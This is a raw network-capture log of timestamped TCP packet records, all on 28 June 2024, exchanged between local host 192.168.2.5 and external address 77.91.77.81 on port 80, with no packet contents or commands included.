Jun 28, 2024 13:36:13.200618982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200630903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200647116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200658083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200668097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200683117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.200683117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.200727940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.200859070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200869083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200881004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200896978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.200927019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200937986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200948954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200948954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.200961113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.200978041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.201000929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.201060057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.201070070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.201078892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.201088905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.201098919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.201100111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.201108932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.201122046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.201138020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.201164007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238473892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238560915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238571882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238620043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238631964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238636017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238655090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238676071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238679886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238703012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238713980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238733053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238760948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238770962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238781929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238791943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238811016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238826036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238878965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238888979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238898993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238909960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238917112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238919973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238930941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.238954067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.238972902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239018917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239028931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239037991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239047050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239053011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239056110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239075899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239078045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239085913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239095926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239105940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239120007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239146948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239207029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239217997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239240885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239259005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239356995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239367008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239376068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239386082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239389896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239396095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239406109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239412069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239415884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239425898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239434958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239439011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239444971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239454031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.239459991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239480972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.239491940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.240885973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240895987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240906000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240922928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.240933895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240943909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240948915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.240953922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240963936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.240979910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.240999937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241003990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241040945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241133928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241143942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241153955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241163969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241169930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241173983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241183996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241184950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241213083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241302013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241311073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241319895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241329908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241336107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241364956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241431952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241442919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241451979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241461992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241467953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241471052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241481066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241489887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241491079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241502047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241517067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241542101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241563082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241573095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241597891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241622925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241693974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241704941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241714001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241724014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241724968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241734028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241743088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241743088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241754055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241763115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241774082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241780043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241791964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241813898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241905928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241916895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241925955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241935968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.241942883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.241971016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.242044926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242054939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242063999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242074013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242079973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.242084026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242094040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242104053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.242105007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.242130041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.242147923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.267880917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.267899990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.267915010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.267925978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.267935991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.267950058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.267961979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.268002987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.268064022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.284821987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284832954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284843922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284894943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284895897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.284904957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284915924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284925938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.284940958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.284940958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.284962893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285084963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285094976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285104036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285120010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285149097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285181999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285193920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285203934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285218954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285244942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285278082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285288095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285298109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285312891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285342932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285350084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285360098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285368919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285383940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285383940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285393953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285403013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285413027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.285417080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.285444975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322719097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322730064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322735071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322741032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322762012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322772980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322782040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322789907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322793007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322839022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322839022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322875977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322885036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322894096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322902918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322911978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322912931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.322941065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322958946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.322969913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323004007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323092937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323103905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323113918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323123932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323128939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323132992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323143959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323153019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323156118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323163033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323179960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323196888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323213100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323251009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323252916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323262930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.323286057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.323302031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.324069023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324079990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324089050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324098110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324105978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.324107885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324119091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324127913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324129105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.324139118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324150085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324151039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.324158907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.324171066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.324193001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327255011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327305079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327339888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327348948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327377081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327384949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327390909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327403069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327426910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327442884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327466011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327476025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327486038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327495098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327501059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327506065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327513933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327532053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327542067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327542067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327550888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327562094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327568054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327580929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327588081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327615976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327670097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327683926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327694893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327703953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327703953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327716112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327724934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327729940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327755928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327764988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327770948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327778101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327799082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327815056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327883005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327893019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327903032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327913046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.327922106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327941895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.327963114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328058958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328069925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328078985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328088999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328098059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328098059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328108072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328118086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328128099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328128099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328141928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328149080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328151941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328161001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328161955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328171968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328191042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328201056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328216076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.328216076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328227043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.328233957 CEST	49706	80	192.168.2.5	77.91.77.81
